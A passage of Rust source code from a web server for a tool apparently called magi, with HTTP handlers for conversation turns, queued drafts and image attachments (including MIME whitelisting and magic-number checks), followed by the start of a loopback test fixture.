4354    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
4355    // doc), and that drop can land at any `.await` this function makes,
4356    // including one that has already produced its result but not yet
4357    // resumed. A message could end up recorded on disk with the handler
4358    // future gone before it ever reached the `tokio::spawn` that would have
4359    // started the reply. `tokio::spawn` itself is a plain, synchronous call
4360    // that hands the whole future to the runtime as one unit - once made, no
4361    // later drop of *this* handler's own future (that call's return value is
4362    // never held onto here) can reach back in and stop it, so record and the
4363    // hand-off to `respond` are unconditionally atomic from the client's
4364    // point of view. The immediate response this handler owes the caller
4365    // travels back over a `oneshot`, sent the moment `record` succeeds.
4366    let (tx, rx) = tokio::sync::oneshot::channel();
4367    tokio::spawn({
4368        let ui = Arc::clone(&ui);
4369        let talks = talks.clone();
4370        let id = id.clone();
4371        let said = body.text.clone();
4372        let mut talk = talk.clone();
4373        async move {
4374            let recorded = blocking({
4375                let talks = talks.clone();
4376                move || {
4377                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4378                        if let Ok(fresh) = talks.get(&talk.id) {
4379                            if !fresh.status.open() {
4380                                return Err(ApiError::conflict(format!(
4381                                    "talk {} is {} and takes no more turns",
4382                                    fresh.short(),
4383                                    fresh.status.as_str()
4384                                )));
4385                            }
4386                        }
4387                        return Err(ApiError::from(error));
4388                    }
4389                    // `record` mutates `talk` in place to the freshly persisted
4390                    // state (status, pending, and the just-appended operator
4391                    // turn), so returning it here is equivalent to re-reading it
4392                    // from disk - without the extra round trip a re-read would
4393                    // need.
4394                    Ok((said.trim().to_owned(), talk))
4395                }
4396            })
4397            .await;
4398            let (text, mut talk) = match recorded {
4399                Ok(pair) => pair,
4400                Err(e) => {
4401                    // Nobody is listening if the handler's own future was
4402                    // already dropped - that is fine, there is no response
4403                    // left to carry this error to and nothing was persisted.
4404                    let _ = tx.send(Err(e));
4405                    return;
4406                }
4407            };
4408            let queued = talk.clone();
4409            let thinking = ui.is_thinking(&id);
4410            // If this fails, the caller is gone; the turn still runs below
4411            // exactly as it would have for a caller that stayed connected.
4412            let _ = tx.send(Ok((queued, thinking)));
4413
4414            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4415                // `respond` records the failure in the transcript itself,
4416                // which is what the phone reads; this line is for the
4417                // operator's terminal.
4418                tracing::warn!("talk {id} turn failed: {e:#}");
4419            }
4420            // Anything `talk::queue` added while the turn above was running
4421            // is still owed an answer - see `drain_loop`.
4422            drain_loop(talk, talks, cfg, id, turn_guard).await;
4423        }
4424    });
4425
4426    let (queued, thinking) = rx
4427        .await
4428        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4429
4430    // 202: the operator's message is recorded and a turn is running.
4431    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4432}
4433
4434/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
4435/// changing it. The turn guard is the same per-talk ownership `talk_say`
4436/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
4437async fn talk_pending_resume(
4438    State(ui): State<Arc<Ui>>,
4439    Path(id): Path<String>,
4440) -> ApiResult<(StatusCode, Json<TalkView>)> {
4441    let id = {
4442        let ui = Arc::clone(&ui);
4443        let asked = id.clone();
4444        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4445    };
4446    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4447        return Err(ApiError::conflict(
4448            "a talk turn is already running; the queued draft will be handled by it",
4449        ));
4450    };
4451    let (talk, cfg) = {
4452        let ui = Arc::clone(&ui);
4453        let id = id.clone();
4454        blocking(move || {
4455            let talk = ui.talks.get(&id)?;
4456            if !talk.status.open() {
4457                return Err(ApiError::conflict(format!(
4458                    "talk {} is {} and takes no more turns",
4459                    talk.short(),
4460                    talk.status.as_str()
4461                )));
4462            }
4463            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4464                return Err(ApiError::conflict("there is no queued draft to resume"));
4465            }
4466            let (cfg, _) = Config::discover(&talk.repo, None)?;
4467            Ok((talk, cfg))
4468        })
4469        .await?
4470    };
4471    let view = TalkView::new(talk.clone(), true);
4472    let talks = ui.talks.clone();
4473    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4474    Ok((StatusCode::ACCEPTED, Json(view)))
4475}
4476
4477/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
4478/// releasing `turn` only once a check finds it truly empty. Shared by both
4479/// callers that can end up owning a talk's turn slot with something already
4480/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
4481/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
4482/// holder just gave up - see the comment at that call site.
4483///
4484/// The release is folded into the final generation check under `turn`'s own
4485/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
4486/// free". Before its blocking `talk::drain`, this loop observes the queued
4487/// generation. A `say` that sees the turn busy writes its draft, then advances
4488/// that generation. Thus, if it lands while the drain is in flight, the final
4489/// check observes the advance and drains again; otherwise it releases the
4490/// claim while holding the same lock. This keeps the release/arrival handoff
4491/// atomic without holding the global claim mutex across filesystem I/O.
4492async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4493    let live_set = Arc::clone(&turn.turns);
4494    // `Option` rather than binding `turn` directly to a `_turn` that lives
4495    // for the whole function: releasing it has to happen by calling
4496    // `TalkTurnGuard::release` from inside the locked branch below, which
4497    // takes `self` by value. Left as a plain drop instead, `Drop` would still
4498    // remove the id - correctly, if this loop is ever left some other way -
4499    // but doing it there misses the lock this loop is already holding, which
4500    // is the exact gap `release` exists to close.
4501    let mut turn = Some(turn);
4502    loop {
4503        // `talk::drain` takes the store lock and can write/rename the talk
4504        // file. Keep the turn mutex out of that synchronous work: it protects
4505        // every talk's in-memory claim, not this talk's disk operation.
4506        let observed = live_set
4507            .lock()
4508            .unwrap_or_else(PoisonError::into_inner)
4509            .queued
4510            .get(&id)
4511            .copied()
4512            .unwrap_or(0);
4513        let drained = blocking({
4514            let talks = talks.clone();
4515            move || {
4516                let result = talk::drain(&mut talk, &talks);
4517                Ok((talk, result))
4518            }
4519        })
4520        .await;
4521        let (next_talk, result) = match drained {
4522            Ok(drained) => drained,
4523            Err(e) => {
4524                tracing::warn!(
4525                    status = %e.status,
4526                    message = %e.message,
4527                    "talk {id} could not start queued-text drain"
4528                );
4529                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4530                turn.take()
4531                    .expect("held for the whole loop until released here")
4532                    .release(&mut live);
4533                break;
4534            }
4535        };
4536        talk = next_talk;
4537        let drained = match result {
4538            Ok(Some(drained)) => drained,
4539            Ok(None) => {
4540                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4541                if live.queued.get(&id).copied().unwrap_or(0) != observed {
4542                    continue;
4543                }
4544                turn.take()
4545                    .expect("held for the whole loop until released here")
4546                    .release(&mut live);
4547                break;
4548            }
4549            Err(e) => {
4550                tracing::warn!("talk {id} could not drain queued text: {e:#}");
4551                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4552                turn.take()
4553                    .expect("held for the whole loop until released here")
4554                    .release(&mut live);
4555                break;
4556            }
4557        };
4558        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4559            tracing::warn!("talk {id} turn failed: {e:#}");
4560        }
4561    }
4562}
4563
4564/// Clear a queued draft only if it remains exactly the one the caller saw.
4565async fn talk_pending_clear(
4566    State(ui): State<Arc<Ui>>,
4567    Path(id): Path<String>,
4568    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4569) -> ApiResult<Json<TalkView>> {
4570    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4571    blocking(move || {
4572        let id = resolve_talk(&ui.talks, &id)?;
4573        let mut talk = ui.talks.get(&id)?;
4574        if !talk.status.open() {
4575            return Err(ApiError::conflict(format!(
4576                "talk {} is {} and takes no more turns",
4577                talk.short(),
4578                talk.status.as_str()
4579            )));
4580        }
4581        if !talk::clear_pending_if_matches(
4582            &mut talk,
4583            &ui.talks,
4584            &body.expected_text,
4585            &body.expected_attachments,
4586        )? {
4587            return Err(ApiError::conflict(
4588                "queued message changed; reload it before clearing",
4589            ));
4590        }
4591        let thinking = ui.is_thinking(&talk.id);
4592        Ok(Json(TalkView::new(talk, thinking)))
4593    })
4594    .await
4595}
4596
4597/// Atomically edit a queued draft's text while preserving its attachments.
4598/// The snapshot fields make a concurrent queue or drain a conflict rather
4599/// than silently discarding either message.
4600async fn talk_pending_edit(
4601    State(ui): State<Arc<Ui>>,
4602    Path(id): Path<String>,
4603    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4604) -> ApiResult<Json<TalkView>> {
4605    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4606    let (view, reclaimed) = blocking({
4607        let ui = Arc::clone(&ui);
4608        move || {
4609            let id = resolve_talk(&ui.talks, &id)?;
4610            let mut talk = ui.talks.get(&id)?;
4611            if !talk.status.open() {
4612                return Err(ApiError::conflict(format!(
4613                    "talk {} is {} and takes no more turns",
4614                    talk.short(),
4615                    talk.status.as_str()
4616                )));
4617            }
4618            if !talk::edit_pending_text(
4619                &mut talk,
4620                &ui.talks,
4621                &body.text,
4622                &body.expected_text,
4623                &body.expected_attachments,
4624            )? {
4625                return Err(ApiError::conflict(
4626                    "queued message changed; reload it before editing",
4627                ));
4628            }
4629            let claim = match ui.begin_queued_talk_turn(&id)? {
4630                Some(turn_guard) => {
4631                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4632                    Some((talk.clone(), cfg, id.clone(), turn_guard))
4633                }
4634                None => None,
4635            };
4636            let thinking = ui.is_thinking(&id);
4637            Ok((TalkView::new(talk, thinking), claim))
4638        }
4639    })
4640    .await?;
4641    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4642        let talks = ui.talks.clone();
4643        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4644    }
4645    Ok(Json(view))
4646}
4647
4648/// `POST /api/talks/{id}/close`.
4649async fn talk_close(
4650    State(ui): State<Arc<Ui>>,
4651    Path(id): Path<String>,
4652) -> ApiResult<Json<TalkView>> {
4653    blocking(move || {
4654        let id = resolve_talk(&ui.talks, &id)?;
4655        let mut talk = ui.talks.get(&id)?;
4656        talk::close(&mut talk, &ui.talks)?;
4657        let thinking = ui.is_thinking(&talk.id);
4658        Ok(Json(TalkView::new(talk, thinking)))
4659    })
4660    .await
4661}
4662
4663/// `POST /api/talks/{id}/reopen`.
4664async fn talk_reopen(
4665    State(ui): State<Arc<Ui>>,
4666    Path(id): Path<String>,
4667) -> ApiResult<Json<TalkView>> {
4668    blocking(move || {
4669        let id = resolve_talk(&ui.talks, &id)?;
4670        let mut talk = ui.talks.get(&id)?;
4671        talk::reopen(&mut talk, &ui.talks)?;
4672        let thinking = ui.is_thinking(&talk.id);
4673        Ok(Json(TalkView::new(talk, thinking)))
4674    })
4675    .await
4676}
4677
4678/// `DELETE /api/talks/{id}`.
4679///
4680/// Removes the conversation's record and artifacts outright, unlike
4681/// [`talk_close`] which keeps the record as history. A turn already in
4682/// flight is not refused here the way [`run_delete`] refuses a live run:
4683/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
4684/// under [`Talks::guard`], that the record they are about to write back is
4685/// still there, so a delete racing a turn is safe without this route having
4686/// to know a turn is running at all.
4687async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4688    blocking(move || {
4689        let id = resolve_talk(&ui.talks, &id)?;
4690        ui.talks.remove(&id)?;
4691        Ok(StatusCode::NO_CONTENT)
4692    })
4693    .await
4694}
4695
4696/// Expand an id or short id to exactly one talk id.
4697fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4698    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4699}
4700
4701/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
4702/// future `talk-say`.
4703async fn talk_attachment_post(
4704    State(ui): State<Arc<Ui>>,
4705    Path(id): Path<String>,
4706    headers: HeaderMap,
4707    body: Bytes,
4708) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4709    let mime = validate_attachment(&headers, &body)?;
4710    let name = filename_header(&headers);
4711    let data = body.to_vec();
4712    blocking(move || {
4713        let id = resolve_talk(&ui.talks, &id)?;
4714        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4715        Ok((StatusCode::CREATED, Json(att)))
4716    })
4717    .await
4718}
4719
4720/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
4721/// `<img>` tag in the transcript.
4722async fn talk_attachment_get(
4723    State(ui): State<Arc<Ui>>,
4724    Path((id, att)): Path<(String, String)>,
4725) -> ApiResult<Response> {
4726    blocking(move || {
4727        let id = resolve_talk(&ui.talks, &id)?;
4728        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4729            return Err(ApiError::not_found(format!(
4730                "talk {id} has no attachment `{att}`"
4731            )));
4732        };
4733        Ok(attachment_response(&meta.mime, data))
4734    })
4735    .await
4736}
4737
4738/// Validate an attachment upload's declared `Content-Type` and the bytes
4739/// themselves, returning the canonical mime on success.
4740///
4741/// Two checks, both required: the header has to name one of
4742/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
4743/// simply never in the list, active content rather than a picture, the same
4744/// exclusion [`asset_content_type`]'s doc explains), and the file's own
4745/// magic number has to agree. The second is what stops a mislabeled upload -
4746/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
4747/// a declared type is a claim, not a fact, so it is never trusted alone.
4748fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4749    if data.len() > ATTACHMENT_MAX_BYTES {
4750        return Err(ApiError::bad_request(format!(
4751            "attachment is {} bytes, over the {} MiB limit",
4752            data.len(),
4753            ATTACHMENT_MAX_BYTES / (1024 * 1024)
4754        ))
4755        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4756    }
4757    if data.is_empty() {
4758        return Err(ApiError::bad_request("attachment is empty"));
4759    }
4760    let declared = declared_mime(headers)?;
4761    match sniffed_mime(data) {
4762        Some(sniffed) if sniffed == declared => Ok(declared),
4763        Some(sniffed) => Err(ApiError::bad_request(format!(
4764            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4765        ))),
4766        None => Err(ApiError::bad_request(
4767            "the file's bytes do not match any accepted image format",
4768        )),
4769    }
4770}
4771
4772/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
4773/// and nothing else - parameters like `; charset=` are stripped, but the
4774/// value itself is not otherwise interpreted.
4775fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4776    let raw = headers
4777        .get(header::CONTENT_TYPE)
4778        .and_then(|v| v.to_str().ok())
4779        .unwrap_or("")
4780        .split(';')
4781        .next()
4782        .unwrap_or("")
4783        .trim()
4784        .to_ascii_lowercase();
4785    ATTACHMENT_MIME_WHITELIST
4786        .iter()
4787        .find(|&&m| m == raw)
4788        .copied()
4789        .ok_or_else(|| {
4790            if raw == "image/svg+xml" {
4791                ApiError::bad_request(
4792                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
4793                     not just a picture",
4794                )
4795            } else if raw.is_empty() {
4796                ApiError::bad_request("Content-Type is required for an attachment upload")
4797            } else {
4798                ApiError::bad_request(format!(
4799                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4800                     image/gif or image/webp"
4801                ))
4802            }
4803        })
4804}
4805
4806/// Identify an image by its magic number, independent of whatever
4807/// `Content-Type` claimed.
4808fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4809    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4810        Some("image/png")
4811    } else if data.starts_with(b"\xff\xd8\xff") {
4812        Some("image/jpeg")
4813    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4814        Some("image/gif")
4815    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4816        Some("image/webp")
4817    } else {
4818        None
4819    }
4820}
4821
4822/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
4823/// display - see [`talk::Attachment::name`]'s doc on why it never
4824/// contributes to a path. A missing or blank header (curl without it, an
4825/// older front end) falls back to a generic name rather than refusing the
4826/// upload over a field that is cosmetic.
4827fn filename_header(headers: &HeaderMap) -> String {
4828    headers
4829        .get(FILENAME_HEADER)
4830        .and_then(|v| v.to_str().ok())
4831        .map(str::trim)
4832        .filter(|s| !s.is_empty())
4833        .unwrap_or("attachment")
4834        .to_owned()
4835}
4836
4837/// Every attachment `GET` response: the mime re-validated against the same
4838/// closed whitelist the upload route enforces - never the string trusted
4839/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
4840/// cannot decide it knows better than the type we send. Unlike a panel asset
4841/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
4842/// document renders inline, not agent-authored HTML in a sandboxed frame.
4843fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4844    let content_type = ATTACHMENT_MIME_WHITELIST
4845        .iter()
4846        .find(|&&m| m == mime)
4847        .copied()
4848        .unwrap_or("application/octet-stream");
4849    (
4850        [
4851            (header::CONTENT_TYPE, content_type),
4852            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4853        ],
4854        body,
4855    )
4856        .into_response()
4857}
4858
4859/// The configuration for a repository, read off the disk for this request.
4860///
4861/// Through [`blocking`] because discovery reads and merges several TOML files,
4862/// and because the alternative - caching it in [`Ui`] at startup - would mean
4863/// the operator's phone kept interviewing with a roster they had already
4864/// changed, with no way to reload it but restarting the server they are not
4865/// sitting in front of.
4866async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4867    let repo = repo.to_path_buf();
4868    blocking(move || {
4869        let (cfg, _) = Config::discover(&repo, None)?;
4870        Ok(cfg)
4871    })
4872    .await
4873}
4874
4875/// The one prefix rule, used for both runs and tasks: a leading match for a
4876/// full id, a trailing match for the short form an operator reads off a
4877/// report. Written here rather than borrowed from `queue::resolve_id` because
4878/// the UI needs the two failures as different status codes, and telling them
4879/// apart from an error message is not something to build a route on.
4880fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4881    let mut hits = ids
4882        .into_iter()
4883        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4884    match (hits.next(), hits.next()) {
4885        (Some(one), None) => Ok(one),
4886        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4887        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4888            "`{prefix}` matches more than one {what}, including {a} and {b}"
4889        ))),
4890    }
4891}
4892
4893#[cfg(test)]
4894mod tests {
4895
4896    #[test]
4897    fn holder_reads_the_lease_not_the_record() {
4898        let mut q = Question::new(
4899            "run".to_owned(),
4900            "implement".to_owned(),
4901            "impl-A".to_owned(),
4902            "which?".to_owned(),
4903            String::new(),
4904            Vec::new(),
4905        );
4906        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
4907        q.cwd = Some("/tmp".to_owned());
4908        assert_eq!(holder_of(&q, None), Some("nobody"));
4909        let beat = |kind, ago: i64| ask::Lease {
4910            kind,
4911            pid: 1,
4912            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
4913                .unwrap(),
4914        };
4915        let fresh = beat(ask::WaiterKind::Asker, 1);
4916        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
4917        let daemon = beat(ask::WaiterKind::Daemon, 1);
4918        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
4919        let stale = beat(ask::WaiterKind::Asker, 3600);
4920        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
4921    }
4922    use pretty_assertions::assert_eq;
4923    use serde_json::Value;
4924    use tempfile::TempDir;
4925    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
4926
4927    use super::*;
4928    use crate::config::Config;
4929    use crate::queue::{Source, TaskStatus};
4930
4931    /// How many 10ms steps a settle loop takes before it calls a stall a
4932    /// stall - thirty seconds.
4933    ///
4934    /// These loops wait on real `sh` subprocesses, and the machine that runs
4935    /// the gate runs several suites at once, so a two-second budget was not
4936    /// waiting for the reply, it was racing the scheduler: two of these
4937    /// tests failed under that load with the turn simply not landed yet.
4938    /// This is a hang guard, not a latency assertion - every loop breaks the
4939    /// moment its condition holds, so a generous cap costs an idle machine
4940    /// nothing and still fails a genuine hang instead of hanging the suite.
4941    const SETTLE_STEPS: usize = 3_000;
4942
4943    /// A home with a queue and a runs directory, and a router serving it on
4944    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
4945    /// dependency, not ours - so the tests drive a real socket, which has the
4946    /// side benefit of asserting the status line and content types the phone
4947    /// actually receives.
4948    struct Fixture {
4949        home: TempDir,
4950        addr: SocketAddr,
4951    }
4952
4953    impl Fixture {
4954        async fn start() -> Self {
4955            Self::with_loop(launch_idle).await
4956        }
4957
4958        /// A fixture whose loop is `launch`.
4959        async fn with_loop(launch: Launch) -> Self {
4960            let home = TempDir::new().expect("temp home");
4961            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4962            Self { home, addr }
4963        }
4964
4965        /// A fixture whose `ui.repo` is a real directory rather than the
4966        /// usual placeholder - for the routes that read config off it
4967        /// (`GET /api/repos`) and would otherwise have nothing to discover.
4968        async fn with_repo(repo: PathBuf) -> Self {
4969            let home = TempDir::new().expect("temp home");
4970            let addr = Self::serve(home.path(), repo, launch_idle).await;
4971            Self { home, addr }
4972        }
4973
4974        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4975            let queue = Queue::at(home.join("queue"));
4976            let runs = home.join("runs");
4977            std::fs::create_dir_all(&runs).expect("runs dir");
4978            let worktrees = home.join("wt").join("magi");
4979            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4980            let ui = Ui::new(
4981                queue,
4982                Questions::at(home.join("questions")),
4983                Talks::at(home.join("talks")),
4984                runs,
4985                home.to_path_buf(),
4986                repo,
4987            )
4988            .with_worktrees_root(worktrees)
4989            .with_launch(launch);
4990            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4991                .await
4992                .expect("bind loopback");
4993            let addr = listener.local_addr().expect("local addr");
4994            tokio::spawn(async move {
4995                let _ = axum::serve(listener, ui.router()).await;
4996            });
4997            addr
4998        }
4999
5000        fn queue(&self) -> Queue {
5001            Queue::at(self.home.path().join("queue"))
5002        }
5003
5004        fn questions(&self) -> Questions {
5005            Questions::at(self.home.path().join("questions"))
5006        }
5007
5008        fn talks(&self) -> Talks {
5009            Talks::at(self.home.path().join("talks"))
5010        }
5011
5012        fn runs(&self) -> PathBuf {
5013            self.home.path().join("runs")
5014        }
5015
5016        async fn get(&self, path: &str) -> Res {
5017            request(self.addr, "GET", path, None).await
5018        }
5019
5020        /// The status and headers without the body, which is how the front end
5021        /// preflights a panel: a sandboxed frame is opaque to the parent
5022        /// document, so the only way to tell "no panel" from "a panel that
5023        /// rendered blank" is to ask before mounting.
5024        async fn head(&self, path: &str) -> Res {
5025            request(self.addr, "HEAD", path, None).await
5026        }
5027
5028        async fn post(&self, path: &str, body: Option<&str>) -> Res {
5029            request(self.addr, "POST", path, body).await
5030        }
5031
5032        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5033            request_with(self.addr, "GET", path, None, extra).await
5034        }
5035
5036        async fn delete(&self, path: &str) -> Res {
5037            request(self.addr, "DELETE", path, None).await
5038        }
5039
5040        /// `POST` a raw body with its own headers - see [`request_bytes`].
5041        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5042            request_bytes(self.addr, path, headers, body).await
5043        }
5044    }
5045
5046    struct Res {
5047        status: u16,
5048        headers: String,
5049        /// The header block with its original casing, for the assertions that
5050        /// compare a header *value* rather than looking for a name. Lowercasing
5051        /// a CSP would hide a directive spelled with a capital letter, and the
5052        /// whole point of that test is that the string is exactly right.
5053        head: String,
5054        body: String,
5055        /// The body before any UTF-8 handling, for the routes that serve
5056        /// something other than text. A panel asset is a PNG as often as not,
5057        /// and `from_utf8_lossy` would silently replace half of it.
5058        bytes: Vec<u8>,
5059    }
5060
5061    impl Res {
5062        fn json(&self) -> Value {
5063            serde_json::from_str(&self.body)
5064                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5065        }
5066
5067        /// One header's value verbatim, or `None` when it was not sent.
5068        fn header(&self, name: &str) -> Option<&str> {
5069            self.head.lines().find_map(|line| {
5070                let (key, value) = line.split_once(':')?;
5071                key.trim()
5072                    .eq_ignore_ascii_case(name)
5073                    .then(|| value.trim_start().trim_end_matches('\r'))
5074            })
5075        }
5076    }
5077
5078    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
5079    /// be read to end-of-stream without parsing framing.
5080    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5081        request_with(addr, method, path, body, &[]).await
5082    }
5083
5084    /// As [`request`], with extra request headers - conditional GETs need
5085    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
5086    /// worse than one that sets none.
5087    async fn request_with(
5088        addr: SocketAddr,
5089        method: &str,
5090        path: &str,
5091        body: Option<&str>,
5092        extra: &[(&str, &str)],
5093    ) -> Res {
5094        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5095        for (name, value) in extra {
5096            head.push_str(&format!("{name}: {value}\r\n"));
5097        }
5098        if let Some(body) = body {
5099            head.push_str("Content-Type: application/json\r\n");
5100            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5101        }
5102        head.push_str("\r\n");
5103        if let Some(body) = body {
5104            head.push_str(body);
5105        }
5106        let mut socket = tokio::net::TcpStream::connect(addr)
5107            .await
5108            .expect("connect to the test server");
5109        socket
5110            .write_all(head.as_bytes())
5111            .await
5112            .expect("write request");
5113        let mut raw = Vec::new();
5114        socket.read_to_end(&mut raw).await.expect("read response");
5115        // Split on the raw bytes rather than on a lossy string, so a binary
5116        // body survives to be compared byte for byte.
5117        let split = raw
5118            .windows(4)
5119            .position(|w| w == b"\r\n\r\n")
5120            .expect("a header block");
5121        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5122        let bytes = raw[split + 4..].to_vec();
5123        let status = head
5124            .lines()
5125            .next()
5126            .and_then(|line| line.split_whitespace().nth(1))
5127            .and_then(|code| code.parse().ok())
5128            .expect("a status line");
5129        Res {
5130            status,
5131            headers: head.to_lowercase(),
5132            head,
5133            body: String::from_utf8_lossy(&bytes).into_owned(),
5134            bytes,
5135        }
5136    }
5137
5138    /// A `POST` carrying a raw binary body and its own headers, for the
5139    /// attachment upload route - `request_with` only ever sends
5140    /// `Content-Type: application/json`, which is wrong for an image and
5141    /// would corrupt anything not valid UTF-8 by round-tripping it through
5142    /// `&str` first.
5143    async fn request_bytes(
5144        addr: SocketAddr,
5145        path: &str,
5146        headers: &[(&str, &str)],
5147        body: &[u8],
5148    ) -> Res {
5149        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5150        for (name, value) in headers {
5151            head.push_str(&format!("{name}: {value}\r\n"));
5152        }
5153        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
5154        let mut socket = tokio::net::TcpStream::connect(addr)
5155            .await
5156            .expect("connect to the test server");
5157        socket
5158            .write_all(head.as_bytes())
5159            .await
5160            .expect("write request head");
5161        socket.write_all(body).await.expect("write request body");
5162        let mut raw = Vec::new();
5163        socket.read_to_end(&mut raw).await.expect("read response");
5164        let split = raw
5165            .windows(4)
5166            .position(|w| w == b"\r\n\r\n")
5167            .expect("a header block");
5168        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
5169        let bytes = raw[split + 4..].to_vec();
5170        let status = head
5171            .lines()
5172            .next()
5173            .and_then(|line| line.split_whitespace().nth(1))
5174            .and_then(|code| code.parse().ok())
5175            .expect("a status line");
5176        Res {
5177            status,
5178            headers: head.to_lowercase(),
5179            head,
5180            body: String::from_utf8_lossy(&bytes).into_owned(),
5181            bytes,
5182        }
5183    }
5184
5185    /// A run on disk, without touching the process-global magi home.
5186    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
5187        let mut state = RunState::new(
5188            PathBuf::from("/repo/magi"),
5189            "main".to_owned(),
5190            "0123456789abcdef".to_owned(),
5191            "Add a web UI\n\nMobile first.".to_owned(),
5192            Config::default(),
5193        );
5194        state.id = id.to_owned();
5195        state.status = status;
5196        let dir = runs.join(id);
5197        std::fs::create_dir_all(&dir).expect("run dir");
5198        std::fs::write(
5199            dir.join("run.json"),
5200            serde_json::to_string_pretty(&state).expect("serialize run"),
5201        )
5202        .expect("write run.json");
5203    }
5204
5205    /// Same as [`write_run`], but against a named repository rather than the
5206    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
5207    /// spread across more than one.
5208    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
5209        let mut state = RunState::new(
5210            PathBuf::from(repo),
5211            "main".to_owned(),
5212            "0123456789abcdef".to_owned(),
5213            "task".to_owned(),
5214            Config::default(),
5215        );
5216        state.id = id.to_owned();
5217        state.status = status;
5218        let dir = runs.join(id);
5219        std::fs::create_dir_all(&dir).expect("run dir");
5220        std::fs::write(
5221            dir.join("run.json"),
5222            serde_json::to_string_pretty(&state).expect("serialize run"),
5223        )
5224        .expect("write run.json");
5225    }
5226
5227    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
5228        let body = serde_json::json!({
5229            "schema": 1,
5230            "pid": 4242,
5231            "started_at": Timestamp::now().to_string(),
5232            "updated_at": updated_at.to_string(),
5233            "idle": false,
